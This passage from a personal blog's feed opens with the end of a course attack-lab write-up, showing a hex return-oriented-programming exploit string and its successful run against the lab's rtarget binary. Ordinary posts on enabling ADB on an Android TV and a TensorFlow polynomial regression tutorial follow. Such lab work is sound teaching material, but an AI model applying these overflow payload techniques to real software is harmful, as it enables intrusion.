<pre><span></span><code>jovyan@jupyter-nach6988:~/lab3-attacklab-navanchauhan/target66$<span class="w"> </span>cat<span class="w"> </span>dis2.txt<span class="w"> </span><span class="p">|</span><span class="w"> </span>grep<span class="w"> </span>touch2
000000000040264e<span class="w"> </span>&lt;touch2&gt;:
<span class="w">  </span><span class="m">402666</span>:<span class="w">       </span><span class="m">74</span><span class="w"> </span>2a<span class="w">                   </span>je<span class="w">     </span><span class="m">402692</span><span class="w"> </span>&lt;touch2+0x44&gt;
<span class="w">  </span>4026b2:<span class="w">       </span>eb<span class="w"> </span>d4<span class="w">                   </span>jmp<span class="w">    </span><span class="m">402688</span><span class="w"> </span>&lt;touch2+0x3a&gt;
</code></pre>
</div>

<pre><code>00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
27 28 40 00 00 00 00 00
8f ee 8d 3e 00 00 00 00
44 28 40 00 00 00 00 00
4e 26 40 00 00 00 00 00
</code></pre>

<div class="codehilite">
<pre><span></span><code>jovyan@jupyter-nach6988:~/lab3-attacklab-navanchauhan/target66$<span class="w"> </span>./hex2raw<span class="w"> </span>&lt;<span class="w"> </span>./rtarget.l2.txt<span class="w"> </span><span class="p">|</span><span class="w"> </span>./rtarget<span class="w"> </span>
Cookie:<span class="w"> </span>0x3e8dee8f
Type<span class="w"> </span>string:Touch2!:<span class="w"> </span>You<span class="w"> </span>called<span class="w"> </span>touch2<span class="o">(</span>0x3e8dee8f<span class="o">)</span>
Valid<span class="w"> </span>solution<span class="w"> </span><span class="k">for</span><span class="w"> </span>level<span class="w"> </span><span class="m">2</span><span class="w"> </span>with<span class="w"> </span>target<span class="w"> </span>rtarget
PASS:<span class="w"> </span>Sent<span class="w"> </span>exploit<span class="w"> </span>string<span class="w"> </span>to<span class="w"> </span>server<span class="w"> </span>to<span class="w"> </span>be<span class="w"> </span>validated.
NICE<span class="w"> </span>JOB!
</code></pre>
</div>
]]></content:encoded>
		</item>
		
		<item>
			<guid isPermaLink="true">
				https://web.navan.dev/posts/2020-03-03-Playing-With-Android-TV.html
			</guid>
			<title>
				Tinkering with an Android TV
			</title>
			<description>
				Tinkering with an Android TV
			</description>
			<link>https://web.navan.dev/posts/2020-03-03-Playing-With-Android-TV.html</link>
			<pubDate>Tue, 03 Mar 2020 18:37:00 -0000</pubDate>
			<content:encoded><![CDATA[<h1 id="tinkering-with-an-android-tv">Tinkering with an Android TV</h1>

<p>So I have an Android TV, this posts covers everything I have tried on it</p>

<h2 id="contents">Contents</h2>

<ol>
<li><a href="#IP-Address">Getting TV's IP Address</a></li>
<li><a href="#Developer-Settings">Enable Developer Settings</a></li>
<li><a href="#Enable-ADB">Enable ADB</a></li>
<li><a href="#Connect-ADB">Connect ADB</a></li>
<li><a href="#">Manipulating Packages</a></li>
</ol>

<h2 id="ip-address">IP-Address</h2>

<p><em>These steps should be similar for all Android-TVs</em></p>

<ul>
<li>Go To Settings</li>
<li>Go to Network</li>
<li>Advanced Settings</li>
<li>Network Status</li>
<li>Note Down IP-Address</li>
</ul>

<p>The other option is to go to your router's server page and get connected devices</p>

<h2 id="developer-settings">Developer-Settings</h2>

<ul>
<li>Go To Settings</li>
<li>About</li>
<li>Continuously click on the "Build" option until it says "You are a Developer"</li>
</ul>

<h2 id="enable-adb">Enable-ADB</h2>

<ul>
<li>Go to Settings</li>
<li>Go to Developer Options</li>
<li>Scroll until you find ADB Debugging and enable that option</li>
</ul>

<h2 id="connect-adb">Connect-ADB</h2>

<ul>
<li>Open Terminal (Make sure you have ADB installed)</li>
<li>Enter the following command <code>adb connect &lt;IP_ADDRESS&gt;</code></li>
<li>To test the connection run <code>adb logcat</code></li>
</ul>

<h2 id="manipulating-apps-packages">Manipulating Apps / Packages</h2>

<h3 id="listing-packages">Listing Packages</h3>

<ul>
<li><code>adb shell</code></li>
<li><code>pm list packages</code></li>
</ul>

<h3 id="installing-packages">Installing Packages</h3>

<ul>
<li><code>adb install -r package.apk</code></li>
</ul>

<h3 id="uninstalling-packages">Uninstalling Packages</h3>

<ul>
<li><code>adb uninstall com.company.yourpackagename</code></li>
</ul>
]]></content:encoded>
		</item>
		
		<item>
			<guid isPermaLink="true">
				https://web.navan.dev/posts/2019-12-16-TensorFlow-Polynomial-Regression.html
			</guid>
			<title>
				Polynomial Regression Using TensorFlow
			</title>
			<description>
				Polynomial regression using TensorFlow
			</description>
			<link>https://web.navan.dev/posts/2019-12-16-TensorFlow-Polynomial-Regression.html</link>
			<pubDate>Mon, 16 Dec 2019 14:16:00 -0000</pubDate>
			<content:encoded><![CDATA[<h1 id="polynomial-regression-using-tensorflow">Polynomial Regression Using TensorFlow</h1>

<p><strong>In this tutorial you will learn about polynomial regression and how you can implement it in Tensorflow.</strong></p>

<p>In this, we will be performing polynomial regression using 5 types of equations -</p>

<ul>
<li>Linear</li>
<li>Quadratic</li>
<li>Cubic</li>
<li>Quartic</li>
<li>Quintic</li>
</ul>

<h2 id="regression">Regression</h2>

<h3 id="what-is-regression">What is Regression?</h3>

<p>Regression is a statistical measurement that is used to try to determine the relationship between a
dependent variable (often denoted by Y), and series of varying variables (called independent variables, often denoted by X ).</p>

<h3 id="what-is-polynomial-regression">What is Polynomial Regression</h3>

<p>This is a form of Regression Analysis where the relationship between Y and X is denoted as the nth degree/power of X.
Polynomial regression even fits a non-linear relationship (e.g when the points don't form a straight line).</p>

<h2 id="imports">Imports</h2>

<div class="codehilite">
<pre><span></span><code><span class="kn">import</span> <span class="nn">tensorflow.compat.v1</span> <span class="k">as</span> <span class="nn">tf</span>
<span class="n">tf</span><span class="o">.</span><span class="n">disable_v2_behavior</span><span class="p">()</span>
<span class="kn">import</span> <span class="nn">matplotlib.pyplot</span> <span class="k">as</span> <span class="nn">plt</span>
<span class="kn">import</span> <span class="nn">numpy</span> <span class="k">as</span> <span class="nn">np</span>
<span class="kn">import</span> <span class="nn">pandas</span> <span class="k">as</span> <span class="nn">pd</span>
</code></pre>
</div>

<h2 id="dataset">Dataset</h2>

<h3 id="creating-random-data">Creating Random Data</h3>

<p>Even though in this tutorial we will use a Position Vs Salary dataset, it is important to know how to create synthetic data</p>

<p>To create 50 values spaced evenly between 0 and 50, we use NumPy's linspace function</p>

<p><code>linspace(lower_limit, upper_limit, no_of_observations)</code></p>

<div class="codehilite">
<pre><span></span><code><span class="n">x</span> <span class="o">=</span> <span class="n">np</span><span class="o">.</span><span class="n">linspace</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="mi">50</span><span class="p">,</span> <span class="mi">50</span><span class="p">)</span>
<span class="n">y</span> <span class="o">=</span> <span class="n">np</span><span class="o">.</span><span class="n">linspace</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="mi">50</span><span class="p">,</span> <span class="mi">50</span><span class="p">)</span>
</code></pre>
</div>

<p>We use the following function to add noise to the data, so that our values</p>

<div class="codehilite">
<pre><span></span><code><span class="n">x</span> <span class="o">+=</span> <span class="n">np</span><span class="o">.</span><span class="n">random</span><span class="o">.</span><span class="n">uniform</span><span class="p">(</span><span class="o">-</span><span class="mi">4</span><span class="p">,</span> <span class="mi">4</span><span class="p">,</span> <span class="mi">50</span><span class="p">)</span>
<span class="n">y</span> <span class="o">+=</span> <span class="n">np</span><span class="o">.</span><span class="n">random</span><span class="o">.</span><span class="n">uniform</span><span class="p">(</span><span class="o">-</span><span class="mi">4</span><span class="p">,</span> <span class="mi">4</span><span class="p">,</span> <span class="mi">50</span><span class="p">)</span>
</code></pre>
</div>

<h3 id="position-vs-salary-dataset">Position vs Salary Dataset</h3>

<p>We will be using https://drive.google.com/file/d/1tNL4jxZEfpaP4oflfSn6pIHJX7Pachm9/view (Salary vs Position Dataset)</p>

<div class="codehilite">
<pre><span></span><code><span class="nt">!wget</span><span class="na"> --no-check-certificate &#39;https</span><span class="p">:</span><span class="nc">//docs.google.com/uc?export</span><span class="o">=</span><span class="l">download&amp;id=1tNL4jxZEfpaP4oflfSn6pIHJX7Pachm9&#39; -O data.csv</span>
</code></pre>
</div>

<div class="codehilite">
<pre><span></span><code><span class="n">df</span> <span class="o">=</span> <span class="n">pd</span><span class="o">.</span><span class="n">read_csv</span><span class="p">(</span><span class="s2">&quot;data.csv&quot;</span><span class="p">)</span>
</code></pre>
</div>

<div class="codehilite">
<pre><span></span><code><span class="n">df</span> <span class="c1"># this gives us a preview of the dataset we are working with</span>
</code></pre>
</div>

<div class="codehilite">
<pre><span></span><code><span class="o">|</span> <span class="n">Position</span>          <span class="o">|</span> <span class="n">Level</span> <span class="o">|</span> <span class="n">Salary</span>  <span class="o">|</span>
<span class="o">|-------------------|-------|---------|</span>
<span class="o">|</span> <span class="n">Business</span> <span class="n">Analyst</span>  <span class="o">|</span> <span class="mi">1</span>     <span class="o">|</span> <span class="mi">45000</span>   <span class="o">|</span>
<span class="o">|</span> <span class="n">Junior</span> <span class="n">Consultant</span> <span class="o">|</span> <span class="mi">2</span>     <span class="o">|</span> <span class="mi">50000</span>   <span class="o">|</span>
<span class="o">|</span> <span class="n">Senior</span> <span class="n">Consultant</span> <span class="o">|</span> <span class="mi">3</span>     <span class="o">|</span> <span class="mi">60000</span>   <span class="o">|</span>
<span class="o">|</span> <span class="n">Manager</span>           <span class="o">|</span> <span class="mi">4</span>     <span class="o">|</span> <span class="mi">80000</span>   <span class="o">|</span>
<span class="o">|</span> <span class="n">Country</span> <span class="n">Manager</span>   <span class="o">|</span> <span class="mi">5</span>     <span class="o">|</span> <span class="mi">110000</span>  <span class="o">|</span>
<span class="o">|</span> <span class="n">Region</span> <span class="n">Manager</span>    <span class="o">|</span> <span class="mi">6</span>     <span class="o">|</span> <span class="mi">150000</span>  <span class="o">|</span>
<span class="o">|</span> <span class="n">Partner</span>           <span class="o">|</span> <span class="mi">7</span>     <span class="o">|</span> <span class="mi">200000</span>  <span class="o">|</span>
<span class="o">|</span> <span class="n">Senior</span> <span class="n">Partner</span>    <span class="o">|</span> <span class="mi">8</span>     <span class="o">|</span> <span class="mi">300000</span>  <span class="o">|</span>
<span class="o">|</span> <span class="n">C</span><span class="o">-</span><span class="n">level</span>           <span class="o">|</span> <span class="mi">9</span>     <span class="o">|</span> <span class="mi">500000</span>  <span class="o">|</span>
<span class="o">|</span> <span class="n">CEO</span>               <span class="o">|</span> <span class="mi">10</span>    <span class="o">|</span> <span class="mi">1000000</span> <span class="o">|</span>
</code></pre>
</div>

<p>We convert the salary column as the ordinate (y-coordinate) and level column as the abscissa</p>

<div class="codehilite">
<pre><span></span><code><span class="n">abscissa</span> <span class="o">=</span> <span class="n">df</span><span class="p">[</span><span class="s2">&quot;Level&quot;</span><span class="p">]</span><span class="o">.</span><span class="n">to_list</span><span class="p">()</span> <span class="c1"># abscissa = [1,2,3,4,5,6,7,8,9,10]</span>
<span class="n">ordinate</span> <span class="o">=</span> <span class="n">df</span><span class="p">[</span><span class="s2">&quot;Salary&quot;</span><span class="p">]</span><span class="o">.</span><span class="n">to_list</span><span class="p">()</span> <span class="c1"># ordinate = [45000,50000,60000,80000,110000,150000,200000,300000,500000,1000000]</span>
</code></pre>
</div>

<div class="codehilite">
<pre><span></span><code><span class="n">n</span> <span class="o">=</span> <span class="nb">len</span><span class="p">(</span><span class="n">abscissa</span><span class="p">)</span> <span class="c1"># no of observations</span>
<span class="n">plt</span><span class="o">.</span><span class="n">scatter</span><span class="p">(</span><span class="n">abscissa</span><span class="p">,</span> <span class="n">ordinate</span><span class="p">)</span>
<span class="n">plt</span><span class="o">.</span><span class="n">ylabel</span><span class="p">(</span><span class="s1">&#39;Salary&#39;</span><span class="p">)</span>
<span class="n">plt</span><span class="o">.</span><span class="n">xlabel</span><span class="p">(</span><span class="s1">&#39;Position&#39;</span><span class="p">)</span>
<span class="n">plt</span><span class="o">.</span><span class="n">title</span><span class="p">(</span><span class="s2">&quot;Salary vs Position&quot;</span><span class="p">)</span>
<span class="n">plt</span><span class="o">.</span><span class="n">show</span><span class="p">()</span>
</code></pre>
</div>

<p><img src="/assets/gciTales/03-regression/1.png" alt="" /></p>

<h2 id="defining-stuff">Defining Stuff</h2>

<div class="codehilite">
<pre><span></span><code><span class="n">X</span> <span class="o">=</span> <span class="n">tf</span><span class="o">.</span><span class="n">placeholder</span><span class="p">(</span><span class="s2">&quot;float&quot;</span><span class="p">)</span>
<span class="n">Y</span> <span class="o">=</span> <span class="n">tf</span><span class="o">.</span><span class="n">placeholder</span><span class="p">(</span><span class="s2">&quot;float&quot;</span><span class="p">)</span>
</code></pre>
</div>

<h3 id="defining-variables">Defining Variables</h3>

<p>We first define all the coefficients and constant as tensorflow variables having a random initial value</p>

<div class="codehilite">
<pre><span></span><code><span class="n">a</span> <span class="o">=</span> <span class="n">tf</span><span class="o">.</span><span class="n">Variable</span><span class="p">(</span><span class="n">np</span><span class="o">.</span><span class="n">random</span><span class="o">.</span><span class="n">randn</span><span class="p">(),</span> <span class="n">name</span> <span class="o">=</span> <span class="s2">&quot;a&quot;</span><span class="p">)</span>
<span class="n">b</span> <span class="o">=</span> <span class="n">tf</span><span class="o">.</span><span class="n">Variable</span><span class="p">(</span><span class="n">np</span><span class="o">.</span><span class="n">random</span><span class="o">.</span><span class="n">randn</span><span class="p">(),</span> <span class="n">name</span> <span class="o">=</span> <span class="s2">&quot;b&quot;</span><span class="p">)</span>
<span class="n">c</span> <span class="o">=</span> <span class="n">tf</span><span class="o">.</span><span class="n">Variable</span><span class="p">(</span><span class="n">np</span><span class="o">.</span><span class="n">random</span><span class="o">.</span><span class="n">randn</span><span class="p">(),</span> <span class="n">name</span> <span class="o">=</span> <span class="s2">&quot;c&quot;</span><span class="p">)</span>
<span class="n">d</span> <span class="o">=</span> <span class="n">tf</span><span class="o">.</span><span class="n">Variable</span><span class="p">(</span><span class="n">np</span><span class="o">.</span><span class="n">random</span><span class="o">.</span><span class="n">randn</span><span class="p">(),</span> <span class="n">name</span> <span class="o">=</span> <span class="s2">&quot;d&quot;</span><span class="p">)</span>
<span class="n">e</span> <span class="o">=</span> <span class="n">tf</span><span class="o">.</span><span class="n">Variable</span><span class="p">(</span><span class="n">np</span><span class="o">.</span><span class="n">random</span><span class="o">.</span><span class="n">randn</span><span class="p">(),</span> <span class="n">name</span> <span class="o">=</span> <span class="s2">&quot;e&quot;</span><span class="p">)</span>
<span class="n">f</span> <span class="o">=</span> <span class="n">tf</span><span class="o">.</span><span class="n">Variable</span><span class="p">(</span><span class="n">np</span><span class="o">.</span><span class="n">random</span><span class="o">.</span><span class="n">randn</span><span class="p">(),</span> <span class="n">name</span> <span class="o">=</span> <span class="s2">&quot;f&quot;</span><span class="p">)</span>
</code></pre>
</div>

<h3 id="model-configuration">Model Configuration</h3>

<div class="codehilite">
<pre><span></span><code><span class="n">learning_rate</span> <span class="o">=</span> <span class="mf">0.2</span>
<span class="n">no_of_epochs</span> <span class="o">=</span> <span class="mi">25000</span>
</code></pre>
</div>

<h3 id="equations">Equations</h3>

<div class="codehilite">
<pre><span></span><code><span class="n">deg1</span> <span class="o">=</span> <span class="n">a</span><span class="o">*</span><span class="n">X</span> <span class="o">+</span> <span class="n">b</span>
<span class="n">deg2</span> <span class="o">=</span> <span class="n">a</span><span class="o">*</span><span class="n">tf</span><span class="o">.</span><span class="n">pow</span><span class="p">(</span><span class="n">X</span><span class="p">,</span><span class="mi">2</span><span class="p">)</span> <span class="o">+</span> <span class="n">b</span><span class="o">*</span><span class="n">X</span> <span class="o">+</span> <span class="n">c</span>
<span class="n">deg3</span> <span class="o">=</span> <span class="n">a</span><span class="o">*</span><span class="n">tf</span><span class="o">.</span><span class="n">pow</span><span class="p">(</span><span class="n">X</span><span class="p">,</span><span class="mi">3</span><span class="p">)</span> <span class="o">+</span> <span class="n">b</span><span class="o">*</span><span class="n">tf</span><span class="o">.</span><span class="n">pow</span><span class="p">(</span><span class="n">X</span><span class="p">,</span><span class="mi">2</span><span class="p">)</span> <span class="o">+</span> <span class="n">c</span><span class="o">*</span><span class="n">X</span> <span class="o">+</span> <span class="n">d</span>
<span class="n">deg4</span> <span class="o">=</span> <span class="n">a</span><span class="o">*</span><span class="n">tf</span><span class="o">.</span><span class="n">pow</span><span class="p">(</span><span class="n">X</span><span class="p">,</span><span class="mi">4</span><span class="p">)</span> <span class="o">+</span> <span class="n">b</span><span class="o">*</span><span class="n">tf</span><span class="o">.</span><span class="n">pow</span><span class="p">(</span><span class="n">X</span><span class="p">,</span><span class="mi">3</span><span class="p">)</span> <span class="o">+</span> <span class="n">c</span><span class="o">*</span><span class="n">tf</span><span class="o">.</span><span class="n">pow</span><span class="p">(</span><span class="n">X</span><span class="p">,</span><span class="mi">2</span><span class="p">)</span> <span class="o">+</span> <span class="n">d</span><span class="o">*</span><span class="n">X</span> <span class="o">+</span> <span class="n">e</span>
<span class="n">deg5</span> <span class="o">=</span> <span class="n">a</span><span class="o">*</span><span class="n">tf</span><span class="o">.</span><span class="n">pow</span><span class="p">(</span><span class="n">X</span><span class="p">,</span><span class="mi">5</span><span class="p">)</span> <span class="o">+</span> <span class="n">b</span><span class="o">*</span><span class="n">tf</span><span class="o">.</span><span class="n">pow</span><span class="p">(</span><span class="n">X</span><span class="p">,</span><span class="mi">4</span><span class="p">)</span> <span class="o">+</span> <span class="n">c</span><span class="o">*</span><span class="n">tf</span><span class="o">.</span><span class="n">pow</span><span class="p">(</span><span class="n">X</span><span class="p">,</span><span class="mi">3</span><span class="p">)</span> <span class="o">+</span> <span class="n">d</span><span class="o">*</span><span class="n">tf</span><span class="o">.</span><span class="n">pow</span><span class="p">(</span><span class="n">X</span><span class="p">,</span><span class="mi">2</span><span class="p">)</span> <span class="o">+</span> <span class="n">e</span><span class="o">*</span><span class="n">X</span> <span class="o">+</span> <span class="n">f</span>
</code></pre>
</div>

<h3 id="cost-function">Cost Function</h3>

<p>We use the Mean Squared Error Function</p>

<div class="codehilite">
<pre><span></span><code><span class="n">mse1</span> <span class="o">=</span> <span class="n">tf</span><span class="o">.</span><span class="n">reduce_sum</span><span class="p">(</span><span class="n">tf</span><span class="o">.</span><span class="n">pow</span><span class="p">(</span><span class="n">deg1</span><span class="o">-</span><span class="n">Y</span><span class="p">,</span><span class="mi">2</span><span class="p">))</span><span class="o">/</span><span class="p">(</span><span class="mi">2</span><span class="o">*</span><span class="n">n</span><span class="p">)</span>
<span class="n">mse2</span> <span class="o">=</span> <span class="n">tf</span><span class="o">.</span><span class="n">reduce_sum</span><span class="p">(</span><span class="n">tf</span><span class="o">.</span><span class="n">pow</span><span class="p">(</span><span class="n">deg2</span><span class="o">-</span><span class="n">Y</span><span class="p">,</span><span class="mi">2</span><span class="p">))</span><span class="o">/</span><span class="p">(</span><span class="mi">2</span><span class="o">*</span><span class="n">n</span><span class="p">)</span>
<span class="n">mse3</span> <span class="o">=</span> <span class="n">tf</span><span class="o">.</span><span class="n">reduce_sum</span><span class="p">(</span><span class="n">tf</span><span class="o">.</span><span class="n">pow</span><span class="p">(</span><span class="n">deg3</span><span class="o">-</span><span class="n">Y</span><span class="p">,</span><span class="mi">2</span><span class="p">))</span><span class="o">/</span><span class="p">(</span><span class="mi">2</span><span class="o">*</span><span class="n">n</span><span class="p">)</span>
<span class="n">mse4</span> <span class="o">=</span> <span class="n">tf</span><span class="o">.</span><span class="n">reduce_sum</span><span class="p">(</span><span class="n">tf</span><span class="o">.</span><span class="n">pow</span><span class="p">(</span><span class="n">deg4</span><span class="o">-</span><span class="n">Y</span><span class="p">,</span><span class="mi">2</span><span class="p">))</span><span class="o">/</span><span class="p">(</span><span class="mi">2</span><span class="o">*</span><span class="n">n</span><span class="p">)</span>
<span class="n">mse5</span> <span class="o">=</span> <span class="n">tf</span><span class="o">.</span><span class="n">reduce_sum</span><span class="p">(</span><span class="n">tf</span><span class="o">.</span><span class="n">pow</span><span class="p">(</span><span class="n">deg5</span><span class="o">-</span><span class="n">Y</span><span class="p">,</span><span class="mi">2</span><span class="p">))</span><span class="o">/</span><span class="p">(</span><span class="mi">2</span><span class="o">*</span><span class="n">n</span><span class="p">)</span>
</code></pre>
</div>

<h3 id="optimizer">Optimizer</h3>

<p>We use the AdamOptimizer for the polynomial functions and GradientDescentOptimizer for the linear function</p>

<div class="codehilite">
<pre><span></span><code><span class="n">optimizer1</span> <span class="o">=</span> <span class="n">tf</span><span class="o">.</span><span class="n">train</span><span class="o">.</span><span class="n">GradientDescentOptimizer</span><span class="p">(</span><span class="n">learning_rate</span><span class="p">)</span><span class="o">.</span><span class="n">minimize</span><span class="p">(</span><span class="n">mse1</span><span class="p">)</span>
<span class="n">optimizer2</span> <span class="o">=</span> <span class="n">tf</span><span class="o">.</span><span class="n">train</span><span class="o">.</span><span class="n">AdamOptimizer</span><span class="p">(</span><span class="n">learning_rate</span><span class="p">)</span><span class="o">.</span><span class="n">minimize</span><span class="p">(</span><span class="n">mse2</span><span class="p">)</span>
<span class="n">optimizer3</span> <span class="o">=</span> <span class="n">tf</span><span class="o">.</span><span class="n">train</span><span class="o">.</span><span class="n">AdamOptimizer</span><span class="p">(</span><span class="n">learning_rate</span><span class="p">)</span><span class="o">.</span><span class="n">minimize</span><span class="p">(</span><span class="n">mse3</span><span class="p">)</span>
<span class="n">optimizer4</span> <span class="o">=</span> <span class="n">tf</span><span class="o">.</span><span class="n">train</span><span class="o">.</span><span class="n">AdamOptimizer</span><span class="p">(</span><span class="n">learning_rate</span><span class="p">)</span><span class="o">.</span><span class="n">minimize</span><span class="p">(</span><span class="n">mse4</span><span class="p">)</span>
<span class="n">optimizer5</span> <span class="o">=</span> <span class="n">tf</span><span class="o">.</span><span class="n">train</span><span class="o">.</span><span class="n">AdamOptimizer</span><span class="p">(</span><span class="n">learning_rate</span><span class="p">)</span><span class="o">.</span><span class="n">minimize</span><span class="p">(</span><span class="n">mse5</span><span class="p">)</span>
</code></pre>
</div>

<div class="codehilite">
<pre><span></span><code><span class="n">init</span><span class="o">=</span><span class="n">tf</span><span class="o">.</span><span class="n">global_variables_initializer</span><span class="p">()</span>
</code></pre>
</div>

<h2 id="model-predictions">Model Predictions</h2>

<p>For each type of equation first we make the model predict the values of the coefficient(s) and constant, once we get these values we use it to predict the Y
values using the X values. We then plot it to compare the actual data and predicted line.</p>

<h3 id="linear-equation">Linear Equation</h3>

<div class="codehilite">
<pre><span></span><code><span class="k">with</span> <span class="n">tf</span><span class="o">.</span><span class="n">Session</span><span class="p">()</span> <span class="k">as</span> <span class="n">sess</span><span class="p">:</span>
    <span class="n">sess</span><span class="o">.</span><span class="n">run</span><span class="p">(</span><span class="n">init</span><span class="p">)</span>
    <span class="k">for</span> <span class="n">epoch</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="n">no_of_epochs</span><span class="p">):</span>
      <span class="k">for</span> <span class="p">(</span><span class="n">x</span><span class="p">,</span><span class="n">y</span><span class="p">)</span> <span class="ow">in</span> <span class="nb">zip</span><span class="p">(</span><span class="n">abscissa</span><span class="p">,</span> <span class="n">ordinate</span><span class="p">):</span>
        <span class="n">sess</span><span class="o">.</span><span class="n">run</span><span class="p">(</span><span class="n">optimizer1</span><span class="p">,</span> <span class="n">feed_dict</span><span class="o">=</span><span class="p">{</span><span class="n">X</span><span class="p">:</span><span class="n">x</span><span class="p">,</span> <span class="n">Y</span><span class="p">:</span><span class="n">y</span><span class="p">})</span>
      <span class="k">if</span> <span class="p">(</span><span class="n">epoch</span><span class="o">+</span><span class="mi">1</span><span class="p">)</span><span class="o">%</span><span class="mi">1000</span><span class="o">==</span><span class="mi">0</span><span class="p">:</span>
        <span class="n">cost</span> <span class="o">=</span> <span class="n">sess</span><span class="o">.</span><span class="n">run</span><span class="p">(</span><span class="n">mse1</span><span class="p">,</span><span class="n">feed_dict</span><span class="o">=</span><span class="p">{</span><span class="n">X</span><span class="p">:</span><span class="n">abscissa</span><span class="p">,</span><span class="n">Y</span><span class="p">:</span><span class="n">ordinate</span><span class="p">})</span>
        <span class="nb">print</span><span class="p">(</span><span class="s2">&quot;Epoch&quot;</span><span class="p">,(</span><span class="n">epoch</span><span class="o">+</span><span class="mi">1</span><span class="p">),</span> <span class="s2">&quot;: Training Cost:&quot;</span><span class="p">,</span> <span class="n">cost</span><span class="p">,</span><span class="s2">&quot; a,b:&quot;</span><span class="p">,</span><span class="n">sess</span><span class="o">.</span><span class="n">run</span><span class="p">(</span><span class="n">a</span><span class="p">),</span><span class="n">sess</span><span class="o">.</span><span class="n">run</span><span class="p">(</span><span class="n">b</span><span class="p">))</span>

        <span class="n">training_cost</span> <span class="o">=</span> <span class="n">sess</span><span class="o">.</span><span class="n">run</span><span class="p">(</span><span class="n">mse1</span><span class="p">,</span><span class="n">feed_dict</span><span class="o">=</span><span class="p">{</span><span class="n">X</span><span class="p">:</span><span class="n">abscissa</span><span class="p">,</span><span class="n">Y</span><span class="p">:</span><span class="n">ordinate</span><span class="p">})</span>
        <span class="n">coefficient1</span> <span class="o">=</span> <span class="n">sess</span><span class="o">.</span><span class="n">run</span><span class="p">(</span><span class="n">a</span><span class="p">)</span>
        <span class="n">constant</span> <span class="o">=</span> <span class="n">sess</span><span class="o">.</span><span class="n">run</span><span class="p">(</span><span class="n">b</span><span class="p">)</span>

<span class="nb">print</span><span class="p">(</span><span class="n">training_cost</span><span class="p">,</span> <span class="n">coefficient1</span><span class="p">,</span> <span class="n">constant</span><span class="p">)</span>
</code></pre>
</div>

<div class="codehilite">
<pre><span></span><code><span class="nt">Epoch</span><span class="na"> 1000 </span><span class="p">:</span><span class="err"> </span><span class="nc">Training</span><span class="err"> </span><span class="nc">Cost</span><span class="p">:</span><span class="err"> </span><span class="nc">88999125000.0</span><span class="err">  </span><span class="nc">a,b</span><span class="p">:</span><span class="err"> </span><span class="nc">180396.42</span><span class="err"> </span><span class="nc">-478869.12</span>
<span class="nt">Epoch</span><span class="na"> 2000 </span><span class="p">:</span><span class="err"> </span><span class="nc">Training</span><span class="err"> </span><span class="nc">Cost</span><span class="p">:</span><span class="err"> </span><span class="nc">88999125000.0</span><span class="err">  </span><span class="nc">a,b</span><span class="p">:</span><span class="err"> </span><span class="nc">180396.42</span><span class="err"> </span><span class="nc">-478869.12</span>
<span class="nt">Epoch</span><span class="na"> 3000 </span><span class="p">:</span><span class="err"> </span><span class="nc">Training</span><span class="err"> </span><span class="nc">Cost</span><span class="p">:</span><span class="err"> </span><span class="nc">88999125000.0</span><span class="err">  </span><span class="nc">a,b</span><span class="p">:</span><span class="err"> </span><span class="nc">180396.42</span><span class="err"> </span><span class="nc">-478869.12</span>
<span class="nt">Epoch</span><span class="na"> 4000 </span><span class="p">:</span><span class="err"> </span><span class="nc">Training</span><span class="err"> </span><span class="nc">Cost</span><span class="p">:</span><span class="err"> </span><span class="nc">88999125000.0</span><span class="err">  </span><span class="nc">a,b</span><span class="p">:</span><span class="err"> </span><span class="nc">180396.42</span><span class="err"> </span><span class="nc">-478869.12</span>
<span class="nt">Epoch</span><span class="na"> 5000 </span><span class="p">:</span><span class="err"> </span><span class="nc">Training</span><span class="err"> </span><span class="nc">Cost</span><span class="p">:</span><span class="err"> </span><span class="nc">88999125000.0</span><span class="err">  </span><span class="nc">a,b</span><span class="p">:</span><span class="err"> </span><span class="nc">180396.42</span><span class="err"> </span><span class="nc">-478869.12</span>
<span class="nt">Epoch</span><span class="na"> 6000 </span><span class="p">:</span><span class="err"> </span><span class="nc">Training</span><span class="err"> </span><span class="nc">Cost</span><span class="p">:</span><span class="err"> </span><span class="nc">88999125000.0</span><span class="err">  </span><span class="nc">a,b</span><span class="p">:</span><span class="err"> </span><span class="nc">180396.42</span><span class="err"> </span><span class="nc">-478869.12</span>
<span class="nt">Epoch</span><span class="na"> 7000 </span><span class="p">:</span><span class="err"> </span><span class="nc">Training</span><span class="err"> </span><span class="nc">Cost</span><span class="p">:</span><span class="err"> </span><span class="nc">88999125000.0</span><span class="err">  </span><span class="nc">a,b</span><span class="p">:</span><span class="err"> </span><span class="nc">180396.42</span><span class="err"> </span><span class="nc">-478869.12</span>
<span class="nt">Epoch</span><span class="na"> 8000 </span><span class="p">:</span><span class="err"> </span><span class="nc">Training</span><span class="err"> </span><span class="nc">Cost</span><span class="p">:</span><span class="err"> </span><span class="nc">88999125000.0</span><span class="err">  </span><span class="nc">a,b</span><span class="p">:</span><span class="err"> </span><span class="nc">180396.42</span><span class="err"> </span><span class="nc">-478869.12</span>
<span class="nt">Epoch</span><span class="na"> 9000 </span><span class="p">:</span><span class="err"> </span><span class="nc">Training</span><span class="err"> </span><span class="nc">Cost</span><span class="p">:</span><span class="err"> </span><span class="nc">88999125000.0</span><span class="err">  </span><span class="nc">a,b</span><span class="p">:</span><span class="err"> </span><span class="nc">180396.42</span><span class="err"> </span><span class="nc">-478869.12</span>
<span class="nt">Epoch</span><span class="na"> 10000 </span><span class="p">:</span><span class="err"> </span><span class="nc">Training</span><span class="err"> </span><span class="nc">Cost</span><span class="p">:</span><span class="err"> </span><span class="nc">88999125000.0</span><span class="err">  </span><span class="nc">a,b</span><span class="p">:</span><span class="err"> </span><span class="nc">180396.42</span><span class="err"> </span><span class="nc">-478869.12</span>
<span class="nt">Epoch</span><span class="na"> 11000 </span><span class="p">:</span><span class="err"> </span><span class="nc">Training</span><span class="err"> </span><span class="nc">Cost</span><span class="p">:</span><span class="err"> </span><span class="nc">88999125000.0</span><span class="err">  </span><span class="nc">a,b</span><span class="p">:</span><span class="err"> </span><span class="nc">180396.42</span><span class="err"> </span><span class="nc">-478869.12</span>
